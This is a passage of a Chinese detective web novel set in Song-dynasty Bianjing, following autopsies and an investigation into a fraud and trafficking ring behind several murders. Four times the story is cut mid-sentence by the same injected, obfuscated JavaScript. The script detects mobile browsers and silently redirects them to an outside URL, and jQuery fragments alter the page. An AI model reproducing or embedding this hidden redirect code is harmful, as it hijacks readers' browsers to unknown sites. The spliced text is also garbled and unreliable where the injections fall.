宋连与甲丁对视一眼,表示自己并没有叫车。牛牛专车司机搓着双手主动搭讪:“我听说这里闹了人命,心想着说不定又是您二位爷呢,八成又需要用车,所以我就主动来了!”司机摆着手强调:“我与二位官爷也算一回生二回熟了,都是自家人,车费好说!爷要是瞧得上咱,就看着给,要是不富裕,这趟我免费跑一趟!”
宋连:“你什么要求,有话直说!”
“嗨!爷您这就见外了不是,我就是想为汴京安全出一份力!再说了,我啊,虽说没什么文化,但喜欢听话本,尤其是诡事杂谈一类的话本……”
“案子告破之前,要是让我看到小报上有胡说八道的描述,无论是不是你干的,我统统都算在你头上!”甲丁威胁:“要是你打草惊蛇让凶手跑了,那就只有你去替他伏法了!”
司机果然吓了一大跳:“不敢不敢!但这小报谁都能写,发生了这么大的案子,定有不少人编造传言,这可跟我没有半点干系啊大人!”
民间的谣言止也止不住,但免费的专车不坐白不坐。宋连挥挥手,示意司机走近些,小声说:“但也不让你白干,时机允许的情况下,我可以给你一些独家消息,平安汴京官方指定,权威认证!”
司机也没明白最后两句什么意思,但听起来很厉害,连忙高兴地点头成交。
03
“死者身长168cm,发育正常,营养中等,头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979582|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颅大小正常。面部多处锐利割伤,身体有多处陈旧伤。前胸下中出可见2.5cm横向刺破口,近右腹部有一2.2cm刺破口。尸斑位于后颈项部、肩胛上部、腰部,淡红色,指压稍褪色。尸僵存于下颌关节、颈项部及四肢、咦……?”
听到宋连发出疑问,甲丁凑过来:“发现什么疑点?”
宋连抬起尸体右手,握了握对方死死攥住的拳头,说:“剧烈活动或过高的体温会消耗三磷酸腺苷,这种东西一旦消耗流失就会加速尸僵形成。也就是说,如果一个人在死前剧烈运动、搏斗,或者活动身体某个部位,那么这个部位就会表现出更快产生尸僵。”
他晃了晃那只紧攥的手:“这里僵硬得需要暴力拆卸才能打开掌心,你觉得是为什么?”
甲丁对着拳头思考片刻,说:“他死前攥着什么东西不撒手!”
04
解剖结果显示,死者右肺中叶有1.4cm窗口,边缘整齐;肝脏右叶腹侧面有4x1.2cm的斜形创口,边缘整齐;右侧胸腔、腹腔有大量血液聚集。
“死者衣服上的刺破口与体表皮肤创口、脏器创道对应,肺肝损伤严重,、引发大出血导致失血性休克死亡。”
甲丁一边速记,一边提问:“脸部的割伤是……”
“死者被刺之后大量失血,逐渐意识昏沉无力反抗,将死未死的时候凶手割伤了他的面部,大概率是因为泄愤。”宋连沉吟一声,“但这种情况通常发生在仇杀或情杀现场……”
尸体解剖结束后,宋连和甲丁才用工具强行掰开了死者紧握的手。掌心果然攥着一个物件——一枚圆润的翡翠挂坠——正是方桂儒丢失的那件传家宝贝。
死者穿着道袍,手里还有方桂儒丢失的宝贝,大概率就是当日冲进去“大闹鬼屋”的那个道士了。
退房的那个戏班子应该就是他的同伙——他们组成了完整的诈骗团伙。因为分赃不均,或还有其他恩怨情仇,导致团伙内部出现了分裂,最终死于某一成员之手。
但房东和店小二都表示从未见过这个道士,莫非他们为了保险起见,分两个地方驻扎?
许多细节问题还要进一步调查,甲丁真理好解剖记录,帮宋连缝合尸体、清理解剖现场。他用清水清洗擦拭尸体,方便宋连进行缝合。
擦拭死者面部时,那几缕须髯竟随着布子脱落下来。
“连须髯都是假的!”甲丁盯着这张了无生气的脸庞看了许久,莫名生出一些遗憾的感觉:“没了胡须,竟是这样一副年轻的模样,若不是这些破相的割伤,应是个貌美俊朗的男子。”
宋连正在缝合,听甲丁在那黯然感慨,也忍不住好奇看了一眼,这一眼又看出了问题。
“甲丁,你有没有觉得,这人有些眼熟?”
42.16 红包没有,坟包一堆
01
甲丁的左右手分别展着两副画像。一副是陈莲儿的,一副是死去的郭氏那名“情郎”的。
当初对这一案件的推断是:郭大伟与陈莲儿搞婚外情,陈莲儿女扮男装勾引郭氏,目的是让郭氏与郭大伟和离。结果郭氏并不同意,还以郭大伟婚内出轨要挟报官,陈莲儿在郭大伟默许助力下杀害郭氏,并将尸体藏与地渊祠神像顶上。后陈莲儿逃走,郭大伟为其顶罪。
没想到新的证据出现,推翻了这一结论。
这个证据就是陈莲儿本人——那个死去的假道士。
陈莲儿竟然是个男的!
这下宋连终于知道,为什么郭大伟宁肯杀人也不和老婆商议纳妾。
郭氏不知不觉做了同妻还惨死于非命,抛开科学不谈,她化为罗刹女这事儿就非常可以理解并支持了。
陈莲儿经常外出并且一走就是月余,也完全说得通了——他们戏班子全国巡骗,出差一趟是得一两个月。
只是这次却折在了本土演出中。
郭大伟原本要在“秋后问斩”,差一点儿就要白白掉脑袋,事不宜迟,宋连要马上提请复核此案。
宋连与甲丁兵分两路。甲丁去找方桂儒说明情况,至少挽回了一部分损失,也能让他安心备考;自己则去找李士卿。
这案子与李士卿有什么关系?宋连也很难说清楚为什么要和神棍汇报,可能他们都是诈骗行业的,相互比较了解行业模式吧。
二人刚走出开封府衙,就看见一身白净的李士卿正站在衙门口。
宋连不想承认,但这巧合也太巧合了,况且这种巧合还发生了不止一次。
“来的正好,陈莲儿的案子有新进展,需要马上见到郭大伟。”宋连十分简洁向李士卿概述了目前的情况。
李士卿却表示自己来开封府是有另外一件事:“方桂儒失踪了。”
02
上次来地渊祠还是上次,当时的宋连还是个根正苗红的现代派唯物主义战士。
时隔两个月不到,他已经变成了一个不中不洋,不古不今,不人不鬼的抽象派。
但有一点没变——只要来这里,准没好事。
地渊祠早就拆除,换成了红墙斗拱琉璃瓦的庄严寺庙,牌匾刚刚挂好,上书:地愿寺
破败的祠堂变成了青砖宝殿,来路不明的人造神像换成了宝相庄严的菩萨。尽管修建工作还未完成,寺院还没有正式对外开放,但周围百姓已经纷纷前来上供,香火旺盛得很。
宋连睨了一眼李士卿:“你又散播了什么言论,骗这么些天真单纯的老百姓kuku给你塞钱?”
李士卿摊手,表示他这个版本的寺庙证照齐全,手续合法,之所以香火旺盛都是信仰的力量:“此处供奉地藏王菩萨,愿力最强,若诚心向菩萨请愿,定能收获善报。”
宋连有不同看法:“怎样算诚心呢?诚心想要加害别人也是诚心,难道这种缺德事菩萨也会管?”
李士卿表示你这个问题问的很好:“所以来这里祈福有个条件,须要做了行善积德之事才行,用一件善举,换一个祈愿的机会。”
“哈!行善又不给发证书,你怎么验证老百姓是不是都做了善事来的?”
李士卿笑道:“要相信大部分老百姓对神佛鬼怪的敬畏之心,不需要花费精力验证,他们自己心里会有忌惮,不敢诓骗菩萨。”
“你这多少有点形式主义了。听起来挺真善美的,但又好像没什么卵用……”
李士卿停下脚步,略严肃看向宋连:“世上多一个善因,就必然少一个恶果。怎会无用?”
道理是没错,但听起来还是很缥缈。而且……“你到底什么门派的?穿得像个儒家学生,揣得又是道家符文,供得又是佛菩萨像。”要不是时机不对,宋连横竖得给他送一个耶稣像一本古兰经,帮他凑齐世界主流教派,看他能不能召唤出神龙。
“修行的法门很多,从何而起不重要,往何处去才重要,”李士卿又在故作高深。
宋连哼了一声,问:“那你要往何处去啊?”
李士卿:“方桂儒的卧房。”
03
方桂儒的行李本就不多,都整齐码放着,没有打斗或翻动的痕迹。但书桌上摊着的书籍和写到一半的文章显示出他不是有备而走的:他走的匆忙,来不及合上书本放好笔墨,甚至来不及熄灭蜡烛——蜡炬已经燃尽了。
“修筑工匠称昨天傍晚他们离开之时,还与方桂儒打过招呼,但今早来时他已经不在这里。工匠以为他暂时出门便也没有在意,直到今日工时已到,却还不见看门人回来,这才找到了我。”
李士卿看了眼桌面上写了一半的文章,叹口气:“满纸荒唐言,看来这清净之地也没能让他心静。”
宋连此刻整个人快要俯趴在地上,一遍仔细检查一边问李士怎么知道人家没好好学习,说不定只是因为熬夜困得说胡话了呢。”
“得知他失踪后,我便打了一卦,算到他有可能在曲院街。”
曲院街,就是百花楼所在的那条红灯区。
“所以你认为,他是看不进书也耐不住寂寞,跑去嫖-娼了?”宋连从地上站起身,拍了拍手。
“宋检法,你看什么呢?”甲丁凑过去也跟着看。
从书桌到门口的地面上有一些干涸凝固的蜡滴,有些成滴溅状,有些被拉伸出一条条尾巴。
宋连回到桌边,拿起那盏燃尽的烛台:“方桂儒从书桌走到门口,沿途滴落了几滴蜡液。”宋连走到门口,停了下来,“他在这里做了停留,但不是静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991032|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
止不动的,以为这里有很多蜡滴,说明他此时有一些动作,导致烛台倾斜,滴出更多蜡液。”
接着,宋连转身,又往书桌方向走:“但他回来的时候,明显着急了。因为疾步快走导致蜡液滴落的痕迹拉伸出了一条线,指向的方向就是他行进的方向。”
宋连回到桌边,把烛台放回原处:“然后他就匆匆离开了。”
甲丁一边记录一边恍然大悟:“所以他不是自己偷跑出去的,是被人带走的!”
线索已经十分明显:有人昨夜来过这里,在门口与方桂儒说了些什么,让方桂儒火急火燎跟着他走了。而一夜之后,诈骗过方桂儒的假道士横尸旅店,手里还攥着方桂儒的传家宝贝……
宋连有种不好的预感。
“哦!我想起来了!”甲丁突然喊出声,“自从刚才进门,我就总闻到一股似曾相识的味道,却一直想不起在哪里闻到过。”
他嗅了两下,又“回味”片刻,更加确定地对宋连说:“还记得百花楼死去的‘兰香’姑娘吗?当时我说她身上除了熏香,还有一股臭男人的味道……”甲丁闭上眼睛,仔细分辨气味的成分:“就是这个味!汗臭……还有铜臭……”
04
放在以前,宋连一定觉得这是在胡闹,怎么能相信如此悬浮的闻味儿技能?!但他们已经有过一次实践,并确认了甲丁的鼻子多少有些特异功能了。
只是这次只有味道,没有大致方向,要满城寻找一个虚无的臭男人味儿也无异于大海捞针。
这回甲丁似乎要和李士卿站在同一战线了:“宋检法,既然李公子算到了方桂儒的去向,不如去看看?”
宋连有点怀念以前和白队通宵看监控的苦逼日子了。
“李老师,我们办案时间紧任务重,你要是在这胡说八道妨碍执行公务时很重的罪你知道吗?开封府不会给你红包,只会赐你一个坟包。”
李士卿挑眉:“我倒是没想过还能有红包,多谢宋检法提醒。”
宋连一脸吃了苍蝇的表情,从喉咙堵到心。
不听李士卿的建议,他们目前也没有什么方向;听李士卿的建议……他有什么科学道理吗?
李士卿似乎看出了宋连的纠结,又掏出一枚符纸:“瑶光舫那夜,我曾赠与方桂儒固阳的符纸。那符纸他似乎还带在身上。”
原来是远程定位!
好消息:是非常先进的科学。
坏消息:这设备本身就很不科学……
“宋检法不妨一试,还是你有更好的选择?”
宋连生生咽下科学这口气,对李士卿说:“不准不给钱!”然后又想到什么,又说:“准了也是傅大人给,我说了可不算!”
李士卿低头笑:“是了是了,我会向傅大人讨债的。”
43.17 天若有情天亦老,人若有情噶的早
01
时间紧任务重,他们只能兵分两路:李士卿带着甲丁去曲院街赌坊查探,宋连再次提审郭大伟。
李士卿是修行之人,这样的烟花市井之地他本是抗拒的,但宋连威逼利诱,恐吓如果他不去,就让傅濂剥夺他开封府提刑司顾问的头衔。何况卦是他算的,地方也是他说的,他不带路不合适。
李士卿犹豫再三,似乎还是头衔比较重要。
距离郭大伟入狱已有月余,他肉眼可见的消瘦沧桑下去,却仍旧坚称是自己杀了妻子郭氏。除此以外,无论宋连再说什么问什么,他始终低头垂眸,不发一言。
直到听见宋连说:“陈莲儿死了。”郭大伟才轻微的颤抖了一下,但很快又变得麻木不仁。
“你不信我,”宋连继续说,“我也没想到,陈莲儿竟然是个男子。”
郭大伟抬起头,张了张嘴,又偏过头去了。
“陈莲儿身上新伤叠旧伤,后背肩胛处曾遭到鞭挞,伤口愈合之后留下了增生结缔组织,臀缝与尾骨连接处有一粒黑痣,左后腰有一处红色胎记,拇指大小……”
“你!”郭大伟终于忍无可忍,双手用力晃动牢门,被牢头一棍子打回地上。
“你与他做了什么!你……”郭大伟其实是明白的,只是不愿意承认,他痛苦地捂住了脸,从隐忍颤抖到嚎啕大哭。
“他被人用匕首刺穿了肝和肺,失血过多而死。凶手在他弥留之际将他的脸划坏毁容。”宋连停顿一下,“他死的很惨。”
02
郭大伟悲痛欲绝,整个人了无生气,双眼黯淡无光。他看向虚空,眼神并没有对焦。
“莲儿自幼命苦。他虽为男儿身,却生得眉目清秀,美若天仙。他的亲生父母把他当做女孩养育,再找媒人说亲骗取彩礼,又在成亲之际落跑。这种事做两次三次,便人尽皆知。彩礼骗不到,莲儿就没了价值,父母将他卖给了人牙子,人牙子又将他卖到了卖色骗财的戏班子。”
这戏班子不唱戏,专门扮作各种角色,诈骗旅人。他们先尾随目标,打听了解目标的性格特点,身世背景,从而为目标量身打造一出“戏”:或是假扮官员骗取商人的税钱;或是假扮高官的小妾骗取情报费、打点费;或是加班神仙道士甚至精怪鬼魅勒索那些干了坏事心里有愧的人。
陈莲儿天生好皮相,可男可女,又受过专业训练,很快就成为戏班子里的“台柱子”。原本他会在这个诈骗团队里从台前做到幕后,甚至接手成为班主。
如果没有遇到郭大伟。
陈莲儿或许曾经是真心爱上郭大伟的,他愿意铤而走险叛出团伙,隐姓埋名只为和郭大伟过平淡普通的日子。
但郭大伟却在他与妻子郭氏之间犹豫不决。
郭大伟的理由是婚外情一旦被告发,是要仗刑的。像他们这样的畸恋则是要杖毙。
于是陈莲儿心生一计,他可以去投其所好勾引郭氏。毕竟直击目标最软弱或最渴望的欲望需求,让对方瞬间落入骗局这种事,就是陈莲儿一直以来最拿手的工作。
只要郭氏出轨,那郭大伟就可以顺水推舟提出和离。事成之后陈莲儿只需从郭氏的世界里轻巧消失,就能与郭大伟长相厮守。
然而结局大家都知道了。
“内人不愿和离,莲儿一怒之下……”
郭大伟是个渣男,还是个极易被自我感动的渣男。他骗郭氏做了同妻,又无法实现对陈莲儿的承诺,又每日每夜饱受自己良心的折磨。
陈莲儿或许也终于看透了郭大伟的本质,于是在得知自己罪行败露之后立刻逃走,甚至没有向郭大伟道别。
“我知道我罪无可恕,内人已不在,若能让莲儿有一次重新选择的机会,也算是我对他的赎罪吧……”
但谁都没能如愿。陈莲儿离开之后,或许只能重操旧业,或许被人牙子遍布京城的眼线发现,总之她再次落入深渊,只是这次没能再活着出来。
宋连离开之际,郭大伟突然伸手抓住了宋连的衣袍,跪地恳求。
“宋大人,我与莲儿此生作恶多端,如今我遭现世报,已是家破人亡,更不敢奢望下辈子能有善果。只求宋大人能找到杀害莲儿的凶手,我们死也能瞑目了!”
宋连扒拉开郭大伟的手,将他推向一边:“你与陈莲儿罪不可恕,但郭氏又做错了什么呢?!若你自一开始就不要隐瞒取向,放过郭氏,也不至于像现在这样!”
郭大伟听不懂取向是什么,但他猜得到宋连在责骂他什么。他低头似乎在悔恨,但宋连知道,郭大伟后悔的只是当初没能阻止陈莲儿杀妻,他自始至终都没有意识到,自己的确才是“杀害”郭氏的真凶。
从阴暗的牢中出来,阳光猝不及防刺进眼中,宋连眯起眼睛,模模糊糊看到一个人影向他奔来,是甲丁,一边奔跑一边喘着粗气大喊:“方、方桂儒、死、死了!”
03
曲院街最西边是一排低矮的妓馆,如果说百花楼是高档会所,那这些简陋且隐蔽的妓馆就是小巷子里的洗头按摩房。
这排妓馆后面是一片小树林,方桂儒就挂在其中一棵树上。
李士卿在他身上发现了一封遗书,说是遗书,实际上更像是一份忏悔信。
信上提到自己苦寒的过往,提到自己如何信心满满来汴京搏前程,又是如何陷入骗子的骗局中,变得一无所有。
他说自己闭门苦思却不得解,嗔恨之心越发强烈。他在某日外出谋生时偶然遇到了那个“道士”,相信这是老天都不忍,要给他复仇的机会。
于是他“顺应天意”,尾随“道士”来到旅店,用匕首将其刺死,又将那张面目可憎的脸划得血肉模糊。
最后他写到:“我已铸成大错,罪孽深重,前程尽毁,无颜面对家中父母,唯有以死谢罪,今生愧对父母,愿来世当牛做马以报恩德。”
宋连到场的时候,方桂儒的尸体已被平放在空地上,甲丁用自己的外袍覆盖在尸体上。
甲丁怕宋连责怪他擅自移动尸体,忙解释:“这里虽然僻静,也难免有人经过。尸体挂在树上容易惊动其他人,怕有聚集围观者破坏现场,于是先将他放下来了。宋检法放心,尸体吊于树上的细节我都记录了下来。我离开的这段时间,李公子留下来守着,确保无人靠近过现场。”
李士卿在距离尸体大约2、3米的地上打坐,手里捏着一张纸符,嘴里念念有词。纸符已经被揉的皱皱巴巴,宋连记得,正是那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017894|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天在瑶光坊上,李士卿送给方桂儒的“锁阳符”。
见宋连和甲丁来了,李士卿抖了抖那符纸,“呼啦”一声燃成了灰烬。他用手指在这堆灰烬上画了个符号,然后衣袖一挥,灰烬消失得干干净净。
宋连看着他做完了这套仪式,并没有打断,也不像以前那样嘲讽几句。
因为面前“吊死”的这个人,前不久还三天两头与自己见面吃饭饮酒。虽然他们见面次数有限,但也算是对大家畅所欲言。
宋连明确的知道他是谁,他的过去,他的现在,在他身上发生过的那些离奇诡吊的事,也知道他的理想抱负。
方桂儒寒窗苦读,一度被资助者抛弃,被很多人瞧不起。他带着全家最后的希望和积蓄独自赴京,差一点或许就能步入仕途一雪前耻,让家人过上好日子。
但现在,一切都变成了空想,连他本人也成了一具冰冷的尸体。
宋连宁肯相信有天堂地狱,有轮回转世。因此他短暂的相信李士卿真有通天下地之术,真能超度方桂儒去往极乐,或能让他投胎转世,下辈子不要这么苦了。
李士卿又对着尸体默念了几句听不懂的咒语,才起身示意他的部分结束了,接下来就是宋连的工作了。
尽管大家已经确认方桂儒死了,但宋连仍然按例确认了一遍生命体征。身体已经僵硬,瞳仁散开,玻璃体已有些浑浊。恐怕神仙也回天乏术了。
他拿过方桂儒的“遗书”看了一眼,字还是好字,只是写得歪七扭八,许多地方墨汁晕染了一坨又一坨。比他书桌上那叠“胡言乱语”的文章还要触目惊心。
他又仔细看了甲丁的记录,说方桂儒的尸体发现时挂在树杈,无晃动,面容平和,没有挣扎扭曲的痕迹;四肢自然垂落,双手臂有抓痕;全身半数以上僵硬;衣裤布满尘土,鞋底有大量干涸血迹,脚印与陈莲儿命案现场脚印吻合。
“宋检法,看起来这方桂儒的确曾出现在陈莲儿命案现场,并且……手臂上有青色指痕,像是被用力抓握挤压所致。恐怕他确实一时冲动杀了陈莲儿,手臂上留下了陈莲儿反抗的淤伤,冷静下来之后又极度恐惧,畏罪自杀。”
宋连将小本本还给甲丁:“尸检还没有进行完,现在下结论为时过早。”
方桂儒的脖颈上有一条青紫色淤痕,宽度与绳索一致,与脖颈呈平行方向。而脖颈向两耳根倾斜方向又有两道白色印痕。
宋连找的就是这两道白痕。
他伸展了方桂儒的十根手指,在指甲里也找到了黑色污迹。甲丁记得这种污迹,在祠堂案中,宋连曾经说过这不是污泥,而是死前挣扎时抓挠凶手所留下的对方的皮肉血迹。
他让甲丁帮忙托举他一把,爬上了树杈。绳索在树杈上磨损出一道较为明显的痕迹,除此以外,没有其他表征。
甲丁去联系牛牛专车了,宋连和李士卿留在方桂儒的尸体旁。
“你的超度仪式全部结束了吗?还有要补充的吗?拉回开封府可就没机会了。”
李士卿知道宋连不信这些,也不反驳,只说他业力未销,只能再入轮回,至于去向哪一道,他也不得而知了。
宋连点点头,又问:“那他有没有告诉你,是谁杀了他?”
44.18 骗术的最高境界就是无中生有
01
方桂儒颈部有两道印痕。青紫色勒痕是造成他死亡的致命伤。但这道勒痕与脖颈平行,是有人从身后用绳索套住脖颈扼死留下的。
另一道印痕自脖颈上行至两耳后,这才是被吊起所形成的。
由于方桂儒当时已被勒死,血液停止流动,被挂上树枝的时候已经没有生活反应,而绳索勒压的地方没有血液沉淀,不能形成尸斑,因此呈白色痕迹。
他身上的尘土,应该凶手扼住他脖颈时在地上挣扎所沾上的,指甲里的血污也是那时候抓破凶手表皮留下的。
综上所述,方桂儒并不是畏罪自杀,而是有人逼迫他写下遗书,再将其杀害伪造自杀。
宋连对方桂儒的尸检做了汇报和总结,再次让甲丁在府衙墙上铺满了一墙的纸。
傅濂在旁看得面部抽搐,上次氤上去的墨汁刚刚刷过一遍,怎么又要来!
他很有必要找人研究一个专供宋连写写画画的板子,方便清理,最重要的是省钱。
宋连已在墙上画满了人物关系图:
“此案要先从多年前一个新娘失踪的传说开始。”
“几年前,汴京城出过几起新娘走失案。失踪的新娘都是在婚嫁当日,被丈夫迎亲队伍接走之后便杳无音讯。因此那段时间坊间有传言,是阎王爷要娶小妾,让土地公半路掳劫貌美的新娘。这传说盛行过一段时间,便也不了了之。”
宋连将手指向百花楼三个字:“十几日前,在曲院街百花楼旁边的深巷中发现一具女尸,经检验,该女子是遭遇殴打致死,她曾是百花楼里的姐儿,人称兰香。”
接着,他又指向了瑶光舫:“不久后,我与友人及方桂儒在瑶光舫相聚,这是我们第一次见面,席间方桂儒提到过自己的许多个人信息。当晚他误入深巷,遇到了自称是鬼的柳含烟。”
宋连在失踪新娘和柳含烟之间连了一道线:“据柳含烟讲述,自己是在结婚当天的路上遭遇横祸而死。其所述时间地点与几年前的新娘走失案高度一致。我们合理怀疑她就是那个走失的新娘。”
接着,宋连在柳含烟、道士、陈莲儿之间又各自连线:“方桂儒与柳含烟以及多名所谓女鬼生活几日,她们对方桂儒的过往了如指掌,因此可以断定,她们很早就盯上了方桂儒这个目标,很可能当日在瑶光舫就有耳目,听到了关键的信息。在博取方桂儒信任之后,他们骗取了方桂儒的钱财和传家翡翠,便做局离开。”
“这期间我们发现,这个诈骗团伙之一的假道士,正是几个月前,疑似杀害郭氏的真凶——陈莲儿。”
“从郭大伟的供述中我们进一步知道,陈莲儿曾是这一诈骗团伙成员。该团伙拐卖、劫掳女子或漂亮的男子,通过严刑拷打迫使姑娘们接受他们的训练,成为诈骗成员。这其中不仅包括陈莲儿、柳含烟,还包括了死去的兰香,甚至祠堂案中被元英雄掐死的卫灵秀。”
宋连将所有人物按照顺序串联起来,一个以拐卖、囚禁、胁迫妇女儿童进行诈骗的庞大网络逐渐浮现出来。
他在所有关系网的正中间画了个“?”,虽然在场其他人并看不懂这个符号什么意思。
“兰香与陈莲儿皆死于‘背叛’——他们曾多次逃离组织,或与组织产生分歧,最终被除名。”
“方桂儒很可能在他本人都不自知的情况下发觉了他们的重要线索,被人利用骗至曲院街勒死并伪装成畏罪自杀。”
“我推断,凶手极大可能就是百花楼老板口中那个打死兰香的‘人牙子’。并且百花楼的老板并未说实话,她与人牙子应当保持着更加紧密的联系。甚至她本人也可能参与在这个诈骗组织当中!”
02
傅濂看着满墙墨迹,捋了捋胡须,问:“可那方桂儒出身苦寒,除了一枚翡翠再无财物,而这枚翡翠也并非价值连城,如何值得他们如此兴师动众?”
宋连摆手:“此局并非专为方桂儒而做。只不过我们恰巧认识方桂儒而已。”
骗子集团晚上骗骗方桂儒,白天还能分别去骗别人。他们同时下手的对象可能有很多,其中也不乏一些富商达官。
“我们回忆一下卫灵秀,她自称是太学大学士的小妾。如果只是这么自称一下,是不会有几个人轻易相信的。她一定在不经意间流露出很多制度策论的内容。这些内容她们是怎么获知的呢?”
甲丁恍然:“方桂儒曾经说过,那柳含烟对时政策论很感兴趣!”
“对,方桂儒那翡翠并不值几个钱,值钱的是他这个人,他所提供的学识见解能让这群骗子加工成为新的身份,去结识更有钱的阶层行骗。毕竟骗子眼里无穷人,这种传销一样的组织,最善于将人压榨到极致。”
倘若方桂儒能顺利参加制科考试,或许真能一举中榜,从此改变命运,只可惜……
“方桂儒贪心太重,心性不定,中榜为官也未必是好事。他命数如此,即便躲过这一劫,也还有更大的劫数。”
宋连不止一次觉得李士卿可能有点反社会人格,他为人冷漠缺乏共情力同理心,面对朋友的死亡竟然能说出这么凉薄的话来。
这人最好遵纪守法,否则绝对会成为社会毒瘤。
目前这个瘤子暂时还是良性的,可以先搁置一下,当务之急是如何抓到那个“人牙子”。
“此人多次作案,都在曲院街附近,应当是长居于此,”傅濂分析,“再拿百花楼老板来问话!”
03
二进宫的老板娘这次有了经验,人还没进门喊冤的哭嚎声就先传了进来。
“青天大老爷!我百花楼这是得罪了哪位官人,先横死了一个姐儿还不够,怎就被老爷们盯着不放了呀!我这生意还怎么做得下去啊!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028758|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老板娘圆桶似的碎步挪到堂下,扑通一声跪了下去。额头触在地面上,厚实的背部剧烈抖动,也不知是因为哭还是因为喘。
“抬起头来!”傅濂高坐堂上,对老板娘喝到。
“你与人牙子合谋贩卖妇孺小儿,可知罪?!”
老板娘抬头露出惊恐的表情,疯了似的摇头:“大人冤枉啊!小的做本分生意,怎会和杀人犯合谋!”
宋连生平第一次听到一个老鸨说自己做本分生意,不禁撇撇嘴。
“本官再给你最后一次机会,若你自己招了,还可以‘案问欲举’予以轻判。”[1]
但不论傅濂如何软硬兼施威逼利诱,老板娘就是一口咬定她不知情。
每个人都在飞速思考如何在三句之内干掉对方,场面十分焦灼。这时李士卿迈出了一步,走到老板娘面前,冷眼俯视道:“抬起头来,媒婆张!”
04
听到媒婆张三个字,老板娘的虎躯着实震动了一下,她没有抬头,但也停止了装模作样的嚎叫,仿佛被李士卿这三个字定在了空中。
和老板娘一样震惊的还有在场其他人。媒婆张?是谁?什么时候的事?
“当年柳含烟出嫁时的媒人就是你,迎亲的驸马爷就是你的搭档,也是杀害兰香、陈莲儿和方桂儒的真凶!”
老板娘慌了神,一边向后撤退一边尖叫:“你在胡说什么!什么媒婆什么驸马,你不要血口喷人!”
李士卿做了个“嘘”的手势,对着空气说话:“叫什么?王遂?”
老板娘猛一抬头,惊恐又恶狠地问李士卿:“你在同谁讲话?!”
李士卿不理会她,继续对着虚空交谈:“王遂身高五尺有余,面相阴冷,哦?左手有六指!竟如此神奇?嘶——这等私密之事就不要与我详细说了,我对他那处长了什么没有兴趣。”
李士卿神叨叨聊得不亦乐乎,甲丁也跟着一惊一乍,显然被这通灵之术吓到了;傅濂则仔细观察老板娘与李士卿二人的神态;宋连忍不住又想吐槽他,果然是专业的骗子,整起花活来一愣一愣的!
他不知道李士卿是什么时候、从哪里得来这些消息,想必这骗子行走江湖,八卦渠道很是丰富。
这招钓鱼执法实在好用,老板娘大惊失色,吓得满堂跌撞乱爬,要躲李士卿远远的。
“是谁!谁在同你讲话!”老板娘突然疯了一样在空中乱抓,“是哪个死妮子!贱人!阴魂不散!”她抓了几下,发髻和花簪全都松散了,碎发掉了下来,整个人都狰狞可怖。“是不是陈莲儿!是不是他!当初我就说过,这贱人留不得!活着是心患,死了更麻烦!”
李士卿还在与空气对话,他睨了一眼老板娘,像是在确认什么:“你确定?”
老板娘瞬间又不疯了,呆呆望着李士卿,听对方说:“王遂此刻就在百花楼?”
45.19 宋连?不是死了吗?
01
百花楼天字甲等房内,浓郁的药材味充斥着房间,一个男人正在浴桶里泡着。他面目扭曲,表情痛苦,不断倒吸着凉气。
药汤没到他的胸口,露出伤痕累累的脖颈。他的额头沁出细密的汗珠,终于忍受不住大叫一声,将两只手臂从药汤中抽出。
那手臂上尽是一道道抓痕,伤口周围全都化脓溃烂,发出阵阵恶臭。自从他患上了那个怪病,伤口就愈加难以愈合。
多日之前,在殴打兰香的时候就被她抓伤,几日前刺杀陈莲儿时又被对方抓挠,新伤旧伤叠在一起,又在昨日方桂儒的挣扎下愈发严重了。
他每日按时浸泡汤药,却始终未见效果,身上的皮肉反而逐渐开始自发溃烂。
“这泼皮!”他骂了一声,从浴桶中站起身来,用旁边的帕子擦了擦干,套上了罩袍。
不久前那媒婆张突然又被叫去开封府问话,王遂心中就有了不好的预感。这剂汤药泡完,他便要离开汴京躲避一阵,或者再寻个好地方另起炉灶。
